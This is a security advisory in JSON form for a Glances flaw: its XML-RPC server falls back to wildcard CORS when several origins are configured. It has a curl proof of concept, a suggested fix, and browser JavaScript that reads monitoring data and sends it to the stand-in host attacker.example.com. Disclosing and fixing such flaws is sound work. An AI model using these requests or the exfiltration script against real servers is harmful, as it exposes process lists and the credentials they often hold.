{"id":"PYSEC-2026-2495","summary":"Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)","details":"### Summary\n\nThe Glances XML-RPC server (`glances -s`) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533.  However, the implementation silently falls back to `Access-Control-Allow-Origin: *` whenever `cors_origins` contains more than one entry.  An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described.  A malicious web page served from any origin can issue a CORS simple request to `/RPC2` and read the full system monitoring dataset without the victim's knowledge.\n\n---\n\n### Details\n\n**Affected file:** `glances/server.py`, class `GlancesXMLRPCServer`, line 113\n\n**Direct URL (commit 04579778e733d705898a169e049dc84772c852da):**\n- https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113\n\n```python\n# server.py  (GlancesXMLRPCServer.__init__)\ncors_origins = self.args.cors_origins   # list from config / CLI\n\n# Line 113 — the incomplete fix:\nself.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'\n#                                                                  ^^^\n# Any allowlist with 2+ entries collapses to the wildcard\n```\n\nThe `cors_origin` value is then echoed back as the `Access-Control-Allow-Origin` response header for every request (line ~147 in the same file):\n\n```python\nself.send_header('Access-Control-Allow-Origin', self.cors_origin)\n```\n\nThis means the CORS header is determined once at server startup and never compared against the actual `Origin` header sent by the browser.  Even if an operator sets:\n\n```ini\n# glances.conf\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\nthe server responds with `Access-Control-Allow-Origin: *` to every request, including those from `https://attacker.example.com`.\n\n**Single-origin wildcard** (the default, `cors_origins = *`) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.\n\n**Confirmed on:** x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).\n\nTest results:\n\n| Origin sent              | ACAO header returned | Expected     |\n|--------------------------|----------------------|--------------|\n| `http://evil.example.com`| `*`                  | No header    |\n| `https://dashboard.corp` | `*`                  | Reflected    |\n| `https://grafana.corp`   | `*`                  | Reflected    |\n\n---\n\n### PoC\n\n**Special configuration required**\n\nThe multi-origin collapse is only triggered when `cors_origins` contains two or more entries.  Create the following `glances.conf`:\n\n```ini\n# /tmp/glances_multiorigin.conf\n[global]\ncheck_update = false\n\n[outputs]\ncors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com\n```\n\n**Step 1 — Start the XML-RPC server using the config above**\n\n```bash\nglances -s -p 61209 -C /tmp/glances_multiorigin.conf\n```\n\n**Step 2 — Send a CORS simple request from a foreign origin**\n\n```bash\ncurl -s -D - -X POST \"http://TARGET_HOST:61209/RPC2\" \\\n     -H \"Content-Type: text/plain\" \\\n     -H \"Origin: http://evil.example.com\" \\\n     -d '\u003c?xml version=\"1.0\"?\u003e\n         \u003cmethodCall\u003e\u003cmethodName\u003egetAllPlugins\u003c/methodName\u003e\u003c/methodCall\u003e'\n```\n\n**Expected (secure) response:**\n\n```\nHTTP/1.0 400 Bad Request\n```\n\nor no `Access-Control-Allow-Origin` header.\n\n**Actual response:**\n\n```\nHTTP/1.0 200 OK\nAccess-Control-Allow-Origin: *\n...\n\u003c?xml version='1.0'?\u003e\n\u003cmethodResponse\u003e\n  \u003cparams\u003e\u003cparam\u003e\u003cvalue\u003e\u003carray\u003e\u003cdata\u003e\n    \u003cvalue\u003e\u003cstring\u003ecpu\u003c/string\u003e\u003c/value\u003e\n    \u003cvalue\u003e\u003cstring\u003emem\u003c/string\u003e\u003c/value\u003e\n    ...\n  \u003c/data\u003e\u003c/array\u003e\u003c/value\u003e\u003c/param\u003e\u003c/params\u003e\n\u003c/methodResponse\u003e\n```\n\n**Step 3 — Demonstrate the code-level collapse to wildcard**\n\n```python\nimport sys\nsys.path.insert(0, '/path/to/glances')   # adjust to local clone\nfrom glances.config import Config\n\nc = Config('/tmp/glances_multiorigin.conf')\ncors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])\n# Reproduces server.py line 113:\nresult = cors_list[0] if len(cors_list) == 1 else '*'\n\nprint('cors_origins config :', cors_list)\nprint('cors_origin applied :', result)\nprint('Is wildcard?        :', result == '*')\n# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']\n# cors_origin applied : *\n# Is wildcard?        : True\n```\n\n**Browser-based exploitation**\n\nOnce the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full.  A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:\n\n```javascript\n// Runs in a page on http://evil.example.com\nconst payload = `\u003c?xml version=\"1.0\"?\u003e\n  \u003cmethodCall\u003e\u003cmethodName\u003egetAll\u003c/methodName\u003e\u003c/methodCall\u003e`;\n\nfetch('http://GLANCES_HOST:61209/RPC2', {\n  method: 'POST',\n  headers: { 'Content-Type': 'text/plain' },\n  body: payload,\n})\n.then(r =\u003e r.text())\n.then(data =\u003e {\n  // 'data' contains hostname, OS, full process list, network interfaces, etc.\n  fetch('https://attacker.example.com/collect?d=' + btoa(data));\n});\n```\n\nThis works as a CORS \"simple request\" (POST + `text/plain`) — no CORS preflight is triggered and the `*` wildcard allows the browser to read the response.\n\n---\n\n### Impact\n\n**Vulnerability type:** CORS Misconfiguration / Bypass of CVE-2026-33533 mitigation (CWE-942)\n\n**Who is impacted:** Any operator who:\n1. Runs Glances in XML-RPC server mode (`glances -s`), *and*\n2. Has configured two or more `cors_origins` entries in `glances.conf` believing\n   they are restricting browser access.\n\nOperators using the default single-wildcard configuration (`cors_origins = *`, which is the upstream default) remain affected by the original CVE-2026-33533 exposure (unrestricted cross-origin read).  The incomplete fix addresses only the narrow case of a single non-wildcard origin.\n\n**Data exposed through the XML-RPC API** includes: hostname, OS and kernel version, full process list with command-line arguments (frequently containing API keys, passwords, and tokens), CPU/memory/disk/network statistics, listening ports, and Docker/Kubernetes container metadata.\n\n**Impact:**\n- **Confidentiality:** High — complete system monitoring data readable by any browser page.\n- **Integrity:** None — read-only API.\n- **Availability:** None — no denial-of-service component.\n\n---\n\n### Suggested Fix\n\nImplement per-request origin reflection against the configured allowlist, as recommended by the W3C CORS specification and as done by modern CORS middleware (e.g. Starlette's `CORSMiddleware`):\n\n```python\n# server.py  — replace the single static self.cors_origin field with:\n\ndef _get_acao_header(self, request_origin: str) -\u003e str | None:\n    \"\"\"Return the correct Access-Control-Allow-Origin value or None.\"\"\"\n    if not self.cors_origins or '*' in self.cors_origins:\n        return '*'\n    if request_origin in self.cors_origins:\n        return request_origin\n    return None   # do not send the header for unlisted origins\n\n# In do_POST / send_response:\norigin = self.headers.get('Origin', '')\nacao   = self._get_acao_header(origin)\nif acao:\n    self.send_header('Access-Control-Allow-Origin', acao)\n    self.send_header('Vary', 'Origin')\n```\n\nAdditionally, consider retiring the legacy XML-RPC server in favour of the REST API (`glances -w`), which uses Starlette's `CORSMiddleware` correctly, and document the deprecation path.\n\n---\n\n### Responsible Disclosure\n\nThe AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.\n\n---\n\n### Credits\n\nThis issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members of the AFINE Team.\n\n---","aliases":["CVE-2026-46608","GHSA-87qc-fj39-wccr"],"modified":"2026-07-13T16:31:32.941014038Z","published":"2026-07-13T15:46:22.913578Z","references":[{"type":"WEB","url":"https://github.com/nicolargo/glances/security/advisories/GHSA-87qc-fj39-wccr"},{"type":"PACKAGE","url":"https://github.com/nicolargo/glances"},{"type":"WEB","url":"https://github.com/nicolargo/glances/releases/tag/v4.5.5"},{"type":"PACKAGE","url":"https://pypi.org/project/glances"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-87qc-fj39-wccr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46608"}],"affected":[{"package":{"name":"glances","ecosystem":"PyPI","purl":"pkg:pypi/glances"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.5.5"}]}],"versions":["1.3.1","1.3.2","1.3.3","1.3.4","1.3.5","1.3.6","1.3.7","1.4","1.4.1","1.4.1.1","1.4.2","1.4.2.1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.7","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","2.0","2.0.1","2.1","2.1.1","2.1.2","2.10","2.11","2.11.1","2.2","2.2.1","2.3","2.4","2.4.1","2.4.2","2.5","2.5.1","2.6","2.6.1","2.6.2","2.7","2.7.1","2.8","2.8.1","2.8.2","2.8.3","2.8.4","2.8.5","2.8.6","2.8.7","2.8.8","2.9.0","2.9.1","3.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.1.4.1","3.1.5","3.1.6","3.1.6.1","3.1.6.2","3.1.7","3.2.0","3.2.1","3.2.2","3.2.3","3.2.3.1","3.2.4","3.2.4.1","3.2.4.2","3.2.5","3.2.6.1","3.2.6.2","3.2.6.3","3.2.6.4","3.2.7","3.3.0","3.3.0.1","3.3.0.2","3.3.0.3","3.3.0.4","3.3.1","3.3.1.1","3.4.0","3.4.0.1","3.4.0.2","3.4.0.3","3.4.0.4","3.4.0.5","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.6","4.0.7","4.0.8","4.1.0","4.1.1","4.1.2","4.2.0","4.2.1","4.3.0","4.3.0.1","4.3.0.3","4.3.0.4","4.3.0.5","4.3.0.6","4.3.0.7","4.3.0.8","4.3.1","4.3.2","4.3.3","4.4.0","4.4.1","4.5.0","4.5.0.1","4.5.0.2","4.5.0.3","4.5.0.4","4.5.0.5","4.5.1","4.5.2","4.5.3","4.5.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/glances/PYSEC-2026-2495.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N"}]}